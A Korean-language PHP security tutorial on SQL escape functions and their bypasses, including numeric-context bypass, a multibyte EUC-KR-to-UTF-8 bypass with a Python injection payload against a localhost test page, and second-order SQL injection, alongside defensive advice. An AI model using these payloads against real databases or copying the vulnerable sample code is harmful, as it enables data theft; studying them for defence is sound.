(PHP) SQL Escape & Bypass
SQL Escape method
mysqli::real_escape_string
이스케이프 문자 목록
1
2
' " \ \x00(NUL) \x1a(EOF) \n \r
아래는 모두 동일한 함수.
1
2
3
4
string mysqli::escape\_string ( string $escapestr ) // alias
string mysqli::real\_escape\_string ( string $escapestr )
string mysqli\_real\_escape\_string ( mysqli $link , string $escapestr )
addslashes
이스케이프 문자 목록
1
2
' " \ \x00(NUL)
DB에서 지원해주는 함수가 정 없다면addslashes() 를 사용한다.
magic_quotes_gpc ( REMOVED as of PHP 5.4.0. )
gpc(GET, POST, COOKIE)에 자동으로 addslashes()
를 적용해서 이스케이프한다. 비활성화하고 GPC+α에 일관성 있게 DB 고유의 이스케이프 함수를 사용하는 것이 좋다.
magic_quotes_runtime ( REMOVED as of PHP 5.4.0. )
적용 함수 목록 external source(e.g., db, text file)에서 데이터를 가져오는 함수의 결과 데이터가 quotes를 포함하는 경우 backslash로 이스케이프한다.
bypass
숫자형 데이터로 넘기기
query에서 $id
를 ''
로 감싸지 않았을 때, 단순히 mysql\_real\_escape\_strig($id)
만 수행하면 숫자가 넘어올 경우 이를 숫자형 데이터로 간주해 우회된다. 따라서 다음과 같은 방법으로 Filtering / Escape 하며, query 내의 변수는 '$id'
형태로 꼭 감싸주어 문자열로 인식할 수 있도록 한다.
1
2
3
4
5
6
$id = $\_GET['id'];
$id = stripslashes($id);
$id = mysqli\_real\_escape\_string($id);
if (is\_numeric($id)) {
...
multibyte encoding
중간에 charset을 변경하거나, escape를 다른 charset으로 지정하고 수행하는 경우, multibyte를 나타내는0x??
과 \(0x5c)
를 묶어한 문자로 인식하도록 만들어 escape하면서 붙게되는 \
를 제거할 수 있다. 이를 이용해 \
나 '
같은 escape 대상 문자를 그냥 입력하는 것이 가능하다. EUC-KR → UTF-8 변환인 경우, EUC-KR이 2 bytes를 나타내는데 \xa1
부터 사용하므로 \xa1~\xfe
를 사용하면 된다. \xa1\x5c
는 EUC-KR에 없는 문자이지만, 한 문자로 인식되며 UTF-8로 변환 후에도 한 문자로 인식된다.
1
2
3
4
$id = $mysqli->real\_escape\_string($\_GET['id']);
$id = mb\_convert\_encoding($id, 'UTF-8', 'EUC-KR');
$result = $mysqli->query("select \* from testtbl where id='$id'");
URL에 %a1~%fe
를 던져도 되고, python으로 진행해도 된다.
1
2
3
4
url = "http://127.0.0.1/mb\_bypass.php"
payload = {'id':"p2\xa1' or 1#"}
r = requests.get(url, params=payload)
1
2
3
4
5
after escape : p2�\' or 1#
after mb\_convert : p2?' or 1#
ALL RECODES LEAK!
Note ) 또 다른 charset 변환 함수 iconv()
에서는 없는 문자가 들어오면 에러가 발생한다.\xa1\xa0
부터 에러 발생.
1
2
3
$id = iconv('EUC-KR', 'UTF-8', $id);
iconv(): Detected an illegal character in input string
그러나 //IGNORE
를 지정해주는 경우, bypass 가능하다. ( //TRANSLIT
도 지정 가능하지만 이건 에러가 발생한다. )
1
2
$id = iconv('EUC-KR', 'UTF-8//IGNORE', $id);
1
2
3
4
5
after escape : p2�\' or 1#
after mb\_convert : p2' or 1#
ALL RECODES LEAK!
따라서 user input을 변환해야 한다면 이를 옵션 지정하지 말고 사용하는 편이 좋다.
Indirect SQL Injection
input data만 escape하고, DB에서 불러오는 데이터는 escape하지 않을 때 발생한다. 파라미터로 guest'
를 전송하면 서버 단에서 다음과 같이 escape되지만, 결과적으로 DB에 저장되는 것은 guest'
다.
1
2
3
4
5
url : ?id=guest'
php : guest\'
query : insert into member where value('guest\'');
DB : guest'
이러한 상황에서 DB에서 불러온 guest'
를 escape하지 않고 그대로 쿼리에 집어넣는 코드가 있다면 guest'
가 쿼리에 영향을 미치게 된다. 즉, user input이든 DB든 외부 source에서 온 데이터는 무조건 필터링과 escape 과정을 거쳐야한다.
* magic\_quotes\_runtime=off
일 때만 적용되나, PHP 5.4부터 제거된 옵션이다.